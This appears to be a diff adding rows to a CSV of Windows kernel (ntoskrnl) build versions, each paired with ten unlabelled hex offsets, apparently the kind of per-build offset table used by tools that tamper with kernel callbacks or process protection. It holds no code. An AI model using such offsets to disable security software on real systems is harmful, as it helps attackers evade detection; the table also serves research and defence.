+ntoskrnl_17134-191.exe,3f2e30,3f3030,3f2c30,6ca,3b0088,20,50,45c250,45c278,c8 +ntoskrnl_17134-1967.exe,3e4f70,3e4b70,3e4d70,6ca,3a1fd0,20,50,44c250,44c278,c8 +ntoskrnl_17134-2026.exe,3e4f70,3e4b70,3e4d70,6ca,3a1fd0,20,50,44c250,44c278,c8 +ntoskrnl_17134-2208.exe,3e4f70,3e4b70,3e4d70,6ca,3a1f88,20,50,44c250,44c278,c8 +ntoskrnl_17134-2087.exe,3e4f70,3e4b70,3e4d70,6ca,3a1fd0,20,50,44c250,44c278,c8 +ntoskrnl_17134-2145.exe,3e4f70,3e4b70,3e4d70,6ca,3a1f88,20,50,44c250,44c278,c8 +ntoskrnl_17134-254.exe,3e5ff0,3e5bf0,3e5df0,6ca,3a3108,20,50,44e250,44e278,c8 +ntoskrnl_17134-228.exe,3e5ff0,3e5bf0,3e5df0,6ca,3a3108,20,50,44e250,44e278,c8 +ntoskrnl_17134-320.exe,3e5eb0,3e60b0,3e5cb0,6ca,3a3120,20,50,44e250,44e278,c8 +ntoskrnl_17134-285.exe,3e6030,3e5c30,3e5e30,6ca,3a3100,20,50,44e250,44e278,c8 +ntoskrnl_17134-286.exe,3e6030,3e5c30,3e5e30,6ca,3a3100,20,50,44e250,44e278,c8 +ntoskrnl_17134-345.exe,3e5eb0,3e60b0,3e5cb0,6ca,3a3160,20,50,44e250,44e278,c8 +ntoskrnl_17134-376.exe,3e5fb0,3e5bb0,3e5db0,6ca,3a3108,20,50,44e250,44e278,c8 +ntoskrnl_17134-407.exe,3e5f30,3e5b30,3e5d30,6ca,3a3108,20,50,44e250,44e278,c8 +ntoskrnl_17134-471.exe,3e5fb0,3e5bb0,3e5db0,6ca,3a3108,20,50,44e250,44e278,c8 +ntoskrnl_17134-472.exe,3e5fb0,3e5bb0,3e5db0,6ca,3a3108,20,50,44e250,44e278,c8 +ntoskrnl_17134-523.exe,3e5fb0,3e5bb0,3e5db0,6ca,3a3108,20,50,44e250,44e278,c8 +ntoskrnl_17134-48.exe,3f5030,3f4c30,3f4e30,6ca,3b20e8,20,50,45e250,45e270,c8 +ntoskrnl_17134-556.exe,3e5fb0,3e5bb0,3e5db0,6ca,3a3108,20,50,44e250,44e278,c8 +ntoskrnl_17134-765.exe,0,0,0,0,0,0,0,0,0,0 +ntoskrnl_17134-648.exe,3e5fb0,3e5bb0,3e5db0,6ca,3a3108,20,50,44e250,44e278,c8 +ntoskrnl_17134-590.exe,3e5fb0,3e5bb0,3e5db0,6ca,3a3108,20,50,44e250,44e278,c8 +ntoskrnl_17134-677.exe,3e4eb0,3e50b0,3e4cb0,6ca,3a2160,20,50,44d250,44d278,c8 +ntoskrnl_17134-753.exe,3e4eb0,3e50b0,3e4cb0,6ca,3a2160,20,50,44d250,44d278,c8 +ntoskrnl_17134-706.exe,3e4eb0,3e50b0,3e4cb0,6ca,3a2160,20,50,44d250,44d278,c8 +ntoskrnl_17134-619.exe,3e5fb0,3e5bb0,3e5db0,6ca,3a3108,20,50,44e250,44e278,c8 +ntoskrnl_17134-766.exe,3e4ef0,3e4af0,3e4cf0,6ca,3a1f48,20,50,44d250,44d278,c8 +ntoskrnl_17134-829.exe,3e4f30,3e4b30,3e4d30,6ca,3a1f68,20,50,44d250,44d278,c8 +ntoskrnl_17134-799.exe,3e4f30,3e4b30,3e4d30,6ca,3a1f68,20,50,44d250,44d278,c8 +ntoskrnl_17134-81.exe,3f4f30,3f5130,3f4d30,6ca,3b2120,20,50,45e250,45e270,c8 +ntoskrnl_17134-950.exe,0,0,0,0,0,0,0,0,0,0 +ntoskrnl_17763-1007.exe,0,0,0,0,0,0,0,0,0,0 +ntoskrnl_17134-858.exe,3e4f30,3e4b30,3e4d30,6ca,3a1f68,20,50,44d250,44d278,c8 +ntoskrnl_17134-83.exe,3f4f30,3f5130,3f4d30,6ca,3b2120,20,50,45e250,45e270,c8 +ntoskrnl_17134-915.exe,3e4d70,3e4f70,3e4b70,6ca,3a1fa8,20,50,44d250,44d278,c8 +ntoskrnl_17763-1.exe,0,0,0,0,0,0,0,0,0,0 +ntoskrnl_17134-885.exe,3e4f30,3e4b30,3e4d30,6ca,3a1f68,20,50,44d250,44d278,c8 +ntoskrnl_17134-982.exe,3e4f30,3e4b30,3e4d30,6ca,3a1fd0,20,50,44d250,44d278,c8 +ntoskrnl_17763-1039.exe,0,0,0,0,0,0,0,0,0,0 +ntoskrnl_17763-107.exe,0,0,0,0,0,0,0,0,0,0 +ntoskrnl_17763-1075.exe,4d9d30,4d9930,4d9b30,6ca,40a650,20,60,5422d0,5422f8,c8 +ntoskrnl_17763-1098.exe,4d9d30,4d9930,4d9b30,6ca,40a670,20,60,5422d0,5422f8,c8 +ntoskrnl_17763-1192.exe,4d9d30,4d9930,4d9b30,6ca,40a670,20,60,5422d0,5422f8,c8 +ntoskrnl_17763-1158.exe,4d9af0,4d9cf0,4d98f0,6ca,40a678,20,60,5422d0,5422f8,c8 +ntoskrnl_17763-1131.exe,4d9af0,4d9cf0,4d98f0,6ca,40a678,20,60,5422d0,5422f8,c8 +ntoskrnl_17763-1217.exe,4d9d30,4d9930,4d9b30,6ca,40a670,20,60,5422d0,5422f8,c8 +ntoskrnl_17763-1282.exe,4d9d70,4d9970,4d9b70,6ca,40a6b0,20,60,5422d0,5422f8,c8 +ntoskrnl_17763-1339.exe,4d9d70,4d9970,4d9b70,6ca,40a6b0,20,60,5422d0,5422f8,c8 +ntoskrnl_17763-1294.exe,4d9d70,4d9970,4d9b70,6ca,40a6b0,20,60,5422d0,5422f8,c8 +ntoskrnl_17763-134.exe,45c430,45c030,45c230,6ca,40efd8,20,50,4c52d0,4c52f8,c8 +ntoskrnl_17763-1369.exe,4d9d70,4d9970,4d9b70,6ca,40a6b0,20,60,5422d0,5422f8,c8 +ntoskrnl_17763-1397.exe,4d9bf0,4d97f0,4d99f0,6ca,40a6c0,20,60,5422d0,5422f8,c8 +ntoskrnl_17763-1432.exe,4d7b30,4d7d30,4d7930,6ca,408698,20,60,5402d0,5402f8,c8 +ntoskrnl_17763-1457.exe,4d7b30,4d7d30,4d7930,6ca,408698,20,60,5402d0,5402f8,c8 +ntoskrnl_17763-1490.exe,4d5b70,4d5d70,4d5970,6ca,4066d8,20,60,53e2d0,53e2f8,c8 +ntoskrnl_17763-1554.exe,4d5cf0,4d58f0,4d5af0,6ca,406630,20,60,53e2d0,53e2f8,c8 +ntoskrnl_17763-1518.exe,4d5b30,4d5d30,4d5930,6ca,406698,20,60,53e2d0,53e2f8,c8 +ntoskrnl_17763-1577.exe,4d5cf0,4d58f0,4d5af0,6ca,406630,20,60,53e2d0,53e2f8,c8 +ntoskrnl_17763-168.exe,4dad70,4da970,4dab70,6ca,40b078,20,50,5442d0,5442f8,c8 +ntoskrnl_17763-1637.exe,4d5cf0,4d58f0,4d5af0,6ca,406630,20,60,53e2d0,53e2f8,c8 +ntoskrnl_17763-1697.exe,4d5cf0,4d58f0,4d5af0,6ca,406630,20,60,53e2d0,53e2f8,c8 +ntoskrnl_17763-1613.exe,4d5cf0,4d58f0,4d5af0,6ca,406630,20,60,53e2d0,53e2f8,c8 +ntoskrnl_17763-1728.exe,4d5cf0,4d58f0,4d5af0,6ca,406630,20,60,53e2d0,53e2f8,c8 +ntoskrnl_17763-1757.exe,4d5b70,4d5d70,4d5970,6ca,4066d8,20,60,53e2d0,53e2f8,c8 +ntoskrnl_17763-1790.exe,4d5b70,4d5d70,4d5970,6ca,4066d8,20,60,53e2d0,53e2f8,c8 +ntoskrnl_17763-1817.exe,4d5b70,4d5d70,4d5970,6ca,4066d8,20,60,53e2d0,53e2f8,c8 +ntoskrnl_17763-1821.exe,4d5b70,4d5d70,4d5970,6ca,4066d8,20,60,53e2d0,53e2f8,c8 +ntoskrnl_17763-1823.exe,4d5b70,4d5d70,4d5970,6ca,4066d8,20,60,53e2d0,53e2f8,c8 +ntoskrnl_17763-1879.exe,4d5bf0,4d57f0,4d59f0,6ca,4066c0,20,60,53e2d0,53e2f8,c8 +ntoskrnl_17763-1935.exe,4d6870,4d6a70,4d6670,6ca,407498,20,60,53f2d0,53f2f8,c8 +ntoskrnl_17763-1911.exe,4d6870,4d6a70,4d6670,6ca,407498,20,60,53f2d0,53f2f8,c8 +ntoskrnl_17763-1852.exe,4d5bf0,4d57f0,4d59f0,6ca,4066c0,20,60,53e2d0,53e2f8,c8 +ntoskrnl_17763-194.exe,4d9d70,4d9970,4d9b70,6ca,40a038,20,50,5422d0,5422f8,c8 +ntoskrnl_17763-195.exe,4d9d70,4d9970,4d9b70,6ca,40a038,20,50,5422d0,5422f8,c8 +ntoskrnl_17763-1999.exe,4d6bb0,4d67b0,4d69b0,6ca,407498,20,60,53f2d0,53f2f8,c8 +ntoskrnl_17763-2028.exe,4d67b0,4d69b0,4d65b0,6ca,407418,20,60,53f2d0,53f2f8,c8 +ntoskrnl_17763-1971.exe,4d6bb0,4d67b0,4d69b0,6ca,407498,20,60,53f2d0,53f2f8,c8 +ntoskrnl_17763-2029.exe,4d67b0,4d69b0,4d65b0,6ca,407418,20,60,53f2d0,53f2f8,c8 +ntoskrnl_17763-2090.exe,4d5930,4d5b30,4d5730,6ca,406470,20,60,53e2d0,53e2f8,c8 +ntoskrnl_17763-2061.exe,4d58f0,4d5af0,4d56f0,6ca,406430,20,60,53e2d0,53e2f8,c8 +ntoskrnl_17763-2114.exe,4d5930,4d5b30,4d5730,6ca,406470,20,60,53e2d0,53e2f8,c8 +ntoskrnl_17763-2183.exe,4d68b0,4d6ab0,4d66b0,6ca,407480,20,60,53f2d0,53f2f8,c8 +ntoskrnl_17763-2145.exe,4d68b0,4d6ab0,4d66b0,6ca,407480,20,60,53f2d0,53f2f8,c8 +ntoskrnl_17763-2213.exe,4d6b70,4d6770,4d6970,6ca,407438,20,60,53f2d0,53f2f8,c8 +ntoskrnl_17763-2268.exe,4d5b70,4d5770,4d5970,6ca,406438,20,60,53e2d0,53e2f8,c8 +ntoskrnl_17763-2305.exe,4d5b70,4d5770,4d5970,6ca,406438,20,60,53e2d0,53e2f8,c8 +ntoskrnl_17763-2300.exe,4d5b70,4d5770,4d5970,6ca,406438,20,60,53e2d0,53e2f8,c8 +ntoskrnl_17763-2330.exe,4d5b70,4d5770,4d5970,6ca,406438,20,60,53e2d0,53e2f8,c8 +ntoskrnl_17763-2237.exe,4d6b70,4d6770,4d6970,6ca,407438,20,60,53f2d0,53f2f8,c8 +ntoskrnl_17763-2366.exe,4d5b70,4d5770,4d5970,6ca,406438,20,60,53e2d0,53e2f8,c8 +ntoskrnl_17763-2452.exe,4d6970,4d6b70,4d6770,6ca,407470,20,60,53f2d0,53f2f8,c8 +ntoskrnl_17763-2510.exe,4d6970,4d6b70,4d6770,6ca,407470,20,60,53f2d0,53f2f8,c8 +ntoskrnl_17763-2458.exe,4d6970,4d6b70,4d6770,6ca,407470,20,60,53f2d0,53f2f8,c8 +ntoskrnl_17763-253.exe,4d9d70,4d9970,4d9b70,6ca,40a038,20,50,5422d0,5422f8,c8 +ntoskrnl_17763-2565.exe,4d6970,4d6b70,4d6770,6ca,407470,20,60,53f2d0,53f2f8,c8 +ntoskrnl_17763-2628.exe,4d68f0,4d6af0,4d66f0,6ca,407438,20,60,53f2d0,53f2f8,c8 +ntoskrnl_17763-2686.exe,4d6930,4d6b30,4d6730,6ca,407410,20,60,53f2d0,53f2f8,c8 +ntoskrnl_17763-2746.exe,4d6930,4d6b30,4d6730,6ca,407410,20,60,53f2d0,53f2f8,c8 +ntoskrnl_17763-2803.exe,4d6930,4d6b30,4d6730,6ca,407410,20,60,53f2d0,53f2f8,c8 +ntoskrnl_17763-2867.exe,4d6b30,4d6730,4d6930,6ca,407480,20,60,53f2d0,53f2f8,c8 +ntoskrnl_17763-292.exe,4daaf0,4dacf0,4da8f0,6ca,40b078,20,50,5432d0,5432f8,c8 +ntoskrnl_17763-2928.exe,4d6b30,4d6730,4d6930,6ca,407480,20,60,53f2d0,53f2f8,c8 +ntoskrnl_17763-2931.exe,4d6b30,4d6730,4d6930,6ca,407480,20,60,53f2d0,53f2f8,c8 +ntoskrnl_17763-3046.exe,4d6840,4d6a40,4d6640,6ca,407430,20,60,53f2d0,53f2f8,c8 +ntoskrnl_17763-2989.exe,4d6880,4d6a80,4d6680,6ca,407450,20,60,53f2d0,53f2f8,c8 +ntoskrnl_17763-316.exe,4daaf0,4dacf0,4da8f0,6ca,40b078,20,50,5432d0,5432f8,c8 +ntoskrnl_17763-3165.exe,4d6b40,4d6740,4d6940,6ca,407498,20,60,53f2d0,53f2f8,c8 +ntoskrnl_17763-404.exe,4dad70,4da970,4dab70,6ca,40b718,20,50,5432d0,5432f8,c8 +ntoskrnl_17763-348.exe,4dabb0,4da7b0,4da9b0,6ca,40afb8,20,50,5432d0,5432f8,c8 +ntoskrnl_17763-437.exe,4dad70,4da970,4dab70,6ca,40b718,20,50,5432d0,5432f8,c8 +ntoskrnl_17763-379.exe,4dabf0,4da7f0,4da9f0,6ca,40aff8,20,50,5432d0,5432f8,c8 +ntoskrnl_17763-439.exe,4dad70,4da970,4dab70,6ca,40b718,20,50,5432d0,5432f8,c8 +ntoskrnl_17763-475.exe,4daaf0,4dacf0,4da8f0,6ca,40b730,20,50,5432d0,5432f8,c8 +ntoskrnl_17763-503.exe,4da9b0,4dabb0,4da7b0,6ca,40b598,20,50,5432d0,5432f8,c8 +ntoskrnl_17763-557.exe,4da9b0,4dabb0,4da7b0,6ca,40b598,20,50,5432d0,5432f8,c8 +ntoskrnl_17763-55.exe,45c4f0,45c0f0,45c2f0,6ca,40f098,20,50,4c52d0,4c52f8,c8 +ntoskrnl_17763-504.exe,4da9b0,4dabb0,4da7b0,6ca,40b598,20,50,5432d0,5432f8,c8 +ntoskrnl_17763-529.exe,4da9b0,4dabb0,4da7b0,6ca,40b598,20,50,5432d0,5432f8,c8 +ntoskrnl_17763-615.exe,4dac70,4da870,4daa70,6ca,40b610,20,50,5432d0,5432f8,c8 +ntoskrnl_17763-652.exe,4dabf0,4da7f0,4da9f0,6ca,40b5f0,20,50,5432d0,5432f8,c8 +ntoskrnl_17763-593.exe,4dac70,4da870,4daa70,6ca,40b610,20,50,5432d0,5432f8,c8 +ntoskrnl_17763-719.exe,4daa30,4dac30,4da830,6ca,40b658,20,50,5432d0,5432f8,c8 +ntoskrnl_17763-737.exe,4da9f0,4dabf0,4da7f0,6ca,40b5d8,20,50,5432d0,5432f8,c8 +ntoskrnl_17763-678.exe,4dac30,4da830,4daa30,6ca,40b610,20,50,5432d0,5432f8,c8 +ntoskrnl_17763-771.exe,4dac70,4da870,4daa70,6ca,40b630,20,50,5432d0,5432f8,c8 +ntoskrnl_17763-802.exe,4dacb0,4da8b0,4daab0,6ca,40b6c0,20,50,5432d0,5432f8,c8 +ntoskrnl_17763-831.exe,4d8c70,4d8870,4d8a70,6ca,409610,20,50,5412d0,5412f8,c8 +ntoskrnl_17763-864.exe,4d8b70,4d8d70,4d8970,6ca,409698,20,50,5412d0,5412f8,c8 +ntoskrnl_17763-973.exe,4d8b70,4d8d70,4d8970,6ca,409698,20,50,5412d0,5412f8,c8 +ntoskrnl_17763-914.exe,4d8b70,4d8d70,4d8970,6ca,409698,20,50,5412d0,5412f8,c8 +ntoskrnl_18362-1016.exe,505fa0,505ba0,505da0,6fa,434bf8,20,60,574390,5743b8,c8 +ntoskrnl_18362-1049.exe,503fe0,503be0,503de0,6fa,432c38,20,60,572390,5723b8,c8 +ntoskrnl_18362-1110.exe,503fa0,503ba0,503da0,6fa,432c18,20,60,572390,5723b8,c8 +ntoskrnl_18362-1082.exe,503fa0,503ba0,503da0,6fa,432bf8,20,60,572390,5723b8,c8 +ntoskrnl_18362-1139.exe,5040a0,503ca0,503ea0,6fa,432c98,20,60,572390,5723b8,c8 +ntoskrnl_18362-116.exe,500de0,5009e0,500be0,6fa,42fa48,20,50,56f390,56f3b8,c8 +ntoskrnl_18362-1171.exe,5040a0,503ca0,503ea0,6fa,432c90,20,60,572390,5723b8,c8 +ntoskrnl_18362-1198.exe,5040a0,503ca0,503ea0,6fa,432c90,20,60,572390,5723b8,c8 +ntoskrnl_18362-1237.exe,5040a0,503ca0,503ea0,6fa,432c90,20,60,572390,5723b8,c8 +ntoskrnl_18362-1256.exe,5040a0,503ca0,503ea0,6fa,432c90,20,60,572390,5723b8,c8 +ntoskrnl_18362-1316.exe,5040a0,503ca0,503ea0,6fa,432c90,20,60,572390,5723b8,c8 +ntoskrnl_18362-1350.exe,503b60,503d60,503960,6fa,432bf8,20,60,572390,5723b8,c8 +ntoskrnl_18362-1377.exe,503da0,5039a0,503ba0,6fa,432c38,20,60,572390,5723b8,c8 +ntoskrnl_18362-1379.exe,503da0,5039a0,503ba0,6fa,432c38,20,60,572390,5723b8,c8 +ntoskrnl_18362-1411.exe,503de0,5039e0,503be0,6fa,432c38,20,60,572390,5723b8,c8 +ntoskrnl_18362-1440.exe,503da0,5039a0,503ba0,6fa,432c38,20,60,572390,5723b8,c8 +ntoskrnl_18362-1441.exe,503da0,5039a0,503ba0,6fa,432c38,20,60,572390,5723b8,c8 +ntoskrnl_18362-145.exe,500de0,5009e0,500be0,6fa,42f9e8,20,50,56f390,56f3b8,c8 +ntoskrnl_18362-1443.exe,503da0,5039a0,503ba0,6fa,432c38,20,60,572390,5723b8,c8 +ntoskrnl_18362-1474.exe,503ba0,503da0,5039a0,6fa,432c38,20,60,572390,5723b8,c8 +ntoskrnl_18362-1500.exe,503b60,503d60,503960,6fa,432c18,20,60,572390,5723b8,c8 +ntoskrnl_18362-1533.exe,503e20,503a20,503c20,6fa,432c78,20,60,572390,5723b8,c8 +ntoskrnl_18362-1556.exe,503e20,503a20,503c20,6fa,432c78,20,60,572390,5723b8,c8 +ntoskrnl_18362-1621.exe,503e20,503a20,503c20,6fa,432c78,20,60,572390,5723b8,c8 +ntoskrnl_18362-1593.exe,503e20,503a20,503c20,6fa,432c78,20,60,572390,5723b8,c8 +ntoskrnl_18362-1646.exe,503e20,503a20,503c20,6fa,432c78,20,60,572390,5723b8,c8 +ntoskrnl_18362-1734.exe,503de0,5039e0,503be0,6fa,432c38,20,60,572390,5723b8,c8 +ntoskrnl_18362-1679.exe,502da0,5029a0,502ba0,6fa,431bf8,20,60,571390,5713b8,c8 +ntoskrnl_18362-1801.exe,503ce0,503ee0,503ae0,6fa,432c38,20,60,572390,5723b8,c8 +ntoskrnl_18362-1854.exe,503ba0,503da0,5039a0,6fa,432c58,20,60,572390,5723b8,c8 +ntoskrnl_18362-1977.exe,503ba0,503da0,5039a0,6fa,432c50,20,60,572390,5723b8,c8 +ntoskrnl_18362-1916.exe,503ba0,503da0,5039a0,6fa,432c50,20,60,572390,5723b8,c8 +ntoskrnl_18362-2037.exe,503de0,5039e0,503be0,6fa,432c38,20,60,572390,5723b8,c8 +ntoskrnl_18362-2039.exe,503de0,5039e0,503be0,6fa,432c38,20,60,572390,5723b8,c8 +ntoskrnl_18362-207.exe,500de0,5009e0,500be0,6fa,42fa48,20,50,56f390,56f3b8,c8 +ntoskrnl_18362-2158.exe,503de0,5039e0,503be0,6fa,432c38,20,60,572390,5723b8,c8 +ntoskrnl_18362-2094.exe,503de0,5039e0,503be0,6fa,432c38,20,60,572390,5723b8,c8 +ntoskrnl_18362-2212.exe,503de0,5039e0,503be0,6fa,432c38,20,60,572390,5723b8,c8 +ntoskrnl_18362-239.exe,500de0,5009e0,500be0,6fa,42fa48,20,50,56f390,56f3b8,c8 +ntoskrnl_18362-2274.exe,503de0,5039e0,503be0,6fa,432c38,20,60,572390,5723b8,c8 +ntoskrnl_18362-267.exe,503f60,503b60,503d60,6fa,432c60,20,50,572390,5723b8,c8 +ntoskrnl_18362-295.exe,503fa0,503ba0,503da0,6fa,432c48,20,50,572390,5723b8,c8 +ntoskrnl_18362-329.exe,504ee0,5050e0,504ce0,6fa,433c28,20,50,573390,5733b8,c8 +ntoskrnl_18362-30.exe,500d60,500960,500b60,6fa,42fa40,20,50,56f390,56f3b8,c8 +ntoskrnl_18362-356.exe,505060,504c60,504e60,6fa,433c90,20,50,573390,5733b8,c8 +ntoskrnl_18362-357.exe,505060,504c60,504e60,6fa,433c90,20,50,573390,5733b8,c8 +ntoskrnl_18362-387.exe,505fe0,505be0,505de0,6fa,434c38,20,50,574390,5743b8,c8 +ntoskrnl_18362-388.exe,505fe0,505be0,505de0,6fa,434c38,20,50,574390,5743b8,c8 +ntoskrnl_18362-476.exe,506060,505c60,505e60,6fa,434c78,20,50,574390,5743b8,c8 +ntoskrnl_18362-449.exe,505da0,505fa0,505ba0,6fa,434c58,20,50,574390,5743b8,c8 +ntoskrnl_18362-418.exe,505ee0,5060e0,505ce0,6fa,434c58,20,50,574390,5743b8,c8 +ntoskrnl_18362-535.exe,506020,505c20,505e20,6fa,434c78,20,50,574390,5743b8,c8 +ntoskrnl_18362-592.exe,506060,505c60,505e60,6fa,434c80,20,50,574390,5743b8,c8 +ntoskrnl_18362-657.exe,505e60,506060,505c60,6fa,434c78,20,50,574390,5743b8,c8 +ntoskrnl_18362-628.exe,506060,505c60,505e60,6fa,434c78,20,50,574390,5743b8,c8 +ntoskrnl_18362-693.exe,505de0,505fe0,505be0,6fa,434c38,20,60,574390,5743b8,c8 +ntoskrnl_18362-719.exe,505e20,506020,505c20,6fa,434c78,20,60,574390,5743b8,c8 +ntoskrnl_18362-720.exe,505e20,506020,505c20,6fa,434c78,20,60,574390,5743b8,c8 +ntoskrnl_18362-752.exe,505ea0,5060a0,505ca0,6fa,434c58,20,60,574390,5743b8,c8 +ntoskrnl_18362-778.exe,505e60,506060,505c60,6fa,434c70,20,60,574390,5743b8,c8 +ntoskrnl_18362-753.exe,505ea0,5060a0,505ca0,6fa,434c58,20,60,574390,5743b8,c8 +ntoskrnl_18362-815.exe,505e60,506060,505c60,6fa,434c70,20,60,574390,5743b8,c8 +ntoskrnl_18362-836.exe,505ea0,5060a0,505ca0,6fa,434c58,20,60,574390,5743b8,c8 +ntoskrnl_18362-904.exe,505ea0,5060a0,505ca0,6fa,434c78,20,60,574390,5743b8,c8 +ntoskrnl_18362-900.exe,505ea0,5060a0,505ca0,6fa,434c78,20,60,574390,5743b8,c8 +ntoskrnl_19041-1023.exe,cec460,cec260,cec060,87a,c19db8,20,60,cfc410,cfc440,c8 +ntoskrnl_18362-959.exe,505ea0,5060a0,505ca0,6fa,434cb8,20,60,574390,5743b8,c8 +ntoskrnl_19041-1052.exe,cebfe0,cec3e0,cec1e0,87a,c19790,20,60,cfc410,cfc440,c8 +ntoskrnl_18362-997.exe,505e60,506060,505c60,6fa,434c78,20,60,574390,5743b8,c8 +ntoskrnl_19041-1.exe,cec0e0,cec2e0,cebee0,87a,c19898,20,60,cfb410,cfb440,c8 +ntoskrnl_19041-1055.exe,cec020,cec420,cec220,87a,c19790,20,60,cfc410,cfc440,c8 +ntoskrnl_19041-1081.exe,cec1e0,cebfe0,cec3e0,87a,c19758,20,60,cfc410,cfc440,c8 +ntoskrnl_19041-1083.exe,cec420,cec220,cec020,87a,c19758,20,60,cfc410,cfc440,c8 +ntoskrnl_19041-1082.exe,cec420,cec220,cec020,87a,c19758,20,60,cfc410,cfc440,c8 +ntoskrnl_19041-1110.exe,cec120,cebf20,cec320,87a,c197f8,20,60,cfb410,cfb440,c8 +ntoskrnl_19041-1202.exe,cec320,cec120,cebf20,87a,c197d0,20,60,cfb410,cfb440,c8 +ntoskrnl_19041-1165.exe,cec2e0,cec0e0,cebee0,87a,c197a0,20,60,cfb410,cfb440,c8 +ntoskrnl_19041-1151.exe,cec320,cec120,cebf20,87a,c197c0,20,60,cfb410,cfb440,c8 +ntoskrnl_19041-1237.exe,cec320,cec120,cebf20,87a,c197d0,20,60,cfb410,cfb440,c8 +ntoskrnl_19041-1266.exe,cec3a0,cec1a0,cebfa0,87a,c19770,20,60,cfc410,cfc440,c8 +ntoskrnl_19041-1288.exe,cec1a0,cebfa0,cec3a0,87a,c19790,20,60,cfc410,cfc440,c8 +ntoskrnl_19041-1320.exe,cec4e0,cec2e0,cec0e0,87a,c197c0,20,60,cfc410,cfc440,c8 +ntoskrnl_19041-1348.exe,cec4e0,cec2e0,cec0e0,87a,c197c0,20,60,cfc410,cfc440,c8 +ntoskrnl_19041-1387.exe,cec1a0,cec3a0,cebfa0,87a,c197a0,20,60,cfc410,cfc440,c8 +ntoskrnl_19041-1466.exe,cec020,cec220,cec420,87a,c19780,20,60,cfc410,cfc440,c8 +ntoskrnl_19041-1469.exe,cec020,cec220,cec420,87a,c19780,20,60,cfc410,cfc440,c8 +ntoskrnl_19041-1415.exe,cec1e0,cec3e0,cebfe0,87a,c197c0,20,60,cfc410,cfc440,c8 +ntoskrnl_19041-1503.exe,cebfa0,cec3a0,cec1a0,87a,c197a0,20,60,cfb410,cfb440,c8 +ntoskrnl_19041-1566.exe,cec3e0,cec1e0,cebfe0,87a,c197f8,20,60,cfb410,cfb440,c8 +ntoskrnl_19041-1526.exe,cec4e0,cec2e0,cec0e0,87a,c197a0,20,60,cfc410,cfc440,c8 +ntoskrnl_19041-1620.exe,cec460,cec260,cec060,87a,c19dc8,20,60,cfc410,cfc440,c8 +ntoskrnl_19041-1586.exe,cec3e0,cec1e0,cebfe0,87a,c197f8,20,60,cfb410,cfb440,c8 +ntoskrnl_19041-1645.exe,cec3a0,cec1a0,cebfa0,87a,c19de8,20,60,cfc410,cfc440,c8 +ntoskrnl_19041-1682.exe,cec460,cec260,cec060,87a,c19dc8,20,60,cfc410,cfc440,c8 +ntoskrnl_19041-1706.exe,cec260,cec060,cec460,87a,c19e08,20,60,cfc410,cfc440,c8 +ntoskrnl_19041-1708.exe,cec460,cec260,cec060,87a,c19de8,20,60,cfc410,cfc440,c8 +ntoskrnl_19041-1806.exe,cec0e0,cec4e0,cec2e0,87a,c19df8,20,60,cfc410,cfc440,c8 +ntoskrnl_19041-1766.exe,cec4a0,cec2a0,cec0a0,87a,c19810,20,60,cfc410,cfc440,c8 +ntoskrnl_19041-1741.exe,cebf60,cec360,cec160,87a,c19770,20,60,cfb410,cfb440,c8 +ntoskrnl_19041-1826.exe,cec3e0,cec1e0,cebfe0,87a,c19df8,20,60,cfc410,cfc440,c8 +ntoskrnl_19041-1865.exe,cec120,cec520,cec320,87a,c19de0,20,60,cfc410,cfc440,c8 +ntoskrnl_19041-264.exe,cec060,cec260,cebe60,87a,c19858,20,60,cfb410,cfb440,c8 +ntoskrnl_19041-331.exe,cec320,cebf20,cec120,87a,c19898,20,60,cfb410,cfb440,c8 +ntoskrnl_19041-329.exe,cec320,cebf20,cec120,87a,c19898,20,60,cfb410,cfb440,c8 +ntoskrnl_19041-388.exe,cec3a0,cebfa0,cec1a0,87a,c19898,20,60,cfb410,cfb440,c8 +ntoskrnl_19041-423.exe,cec160,cec360,cebf60,87a,c198b8,20,60,cfb410,cfb440,c8 +ntoskrnl_19041-488.exe,cec220,cec420,cec020,87a,c19918,20,60,cfc410,cfc440,c8 +ntoskrnl_19041-450.exe,cec320,cebf20,cec120,87a,c198b8,20,60,cfb410,cfb440,c8 +ntoskrnl_19041-572.exe,cec420,cec020,cec220,87a,c19938,20,60,cfc410,cfc440,c8 +ntoskrnl_19041-508.exe,cec3a0,cebfa0,cec1a0,87a,c19898,20,60,cfb410,cfb440,c8 +ntoskrnl_19041-546.exe,cec420,cec020,cec220,87a,c19938,20,60,cfc410,cfc440,c8 +ntoskrnl_19041-610.exe,cec220,cec420,cec020,87a,c19978,20,60,cfc410,cfc440,c8 +ntoskrnl_19041-630.exe,cec220,cec420,cec020,87a,c19978,20,60,cfc410,cfc440,c8 +ntoskrnl_19041-662.exe,cec3a0,cec1a0,cebfa0,87a,c198f8,20,60,cfb410,cfb440,c8 +ntoskrnl_19041-685.exe,cec3a0,cec1a0,cebfa0,87a,c198f8,20,60,cfb410,cfb440,c8 +ntoskrnl_19041-631.exe,cec220,cec420,cec020,87a,c19978,20,60,cfc410,cfc440,c8 +ntoskrnl_19041-746.exe,cebfe0,cec3e0,cec1e0,87a,c198f8,20,60,cfb410,cfb440,c8 +ntoskrnl_19041-789.exe,cec220,cec620,cec420,87a,c19998,20,60,cfc410,cfc440,c8 +ntoskrnl_19041-844.exe,cec660,cec460,cec260,87a,c19fa8,20,60,cfc410,cfc440,c8 +ntoskrnl_19041-804.exe,cec420,cec220,cec020,87a,c19918,20,60,cfc410,cfc440,c8 +ntoskrnl_19041-870.exe,cec1e0,cec5e0,cec3e0,87a,c19fa8,20,60,cfc410,cfc440,c8 +ntoskrnl_19041-868.exe,cec1e0,cec5e0,cec3e0,87a,c19fa8,20,60,cfc410,cfc440,c8 +ntoskrnl_19041-867.exe,cec1e0,cec5e0,cec3e0,87a,c19fa8,20,60,cfc410,cfc440,c8 +ntoskrnl_19041-906.exe,cec5e0,cec3e0,cec1e0,87a,c199d0,20,60,cfc410,cfc440,c8 +ntoskrnl_19041-928.exe,cec520,cec320,cec120,87a,c19950,20,60,cfc410,cfc440,c8 +ntoskrnl_19041-985.exe,cec360,cec160,cebf60,87a,c19d78,20,60,cfb410,cfb440,c8 +ntoskrnl_19041-964.exe,cec0e0,cebee0,cec2e0,87a,c19d38,20,60,cfb410,cfb440,c8 +ntoskrnl_22000-194.exe,cf5f40,cf5d40,cf6140,87a,c15d20,20,60,d06890,d068c0,c8 +ntoskrnl_22000-258.exe,cf5f40,cf5d40,cf6140,87a,c15d20,20,60,d06890,d068c0,c8 +ntoskrnl_22000-282.exe,cf5f00,cf5d00,cf6100,87a,c163d0,20,60,d06890,d068c0,c8 +ntoskrnl_22000-318.exe,cf5f00,cf5d00,cf6100,87a,c163d0,20,60,d06890,d068c0,c8 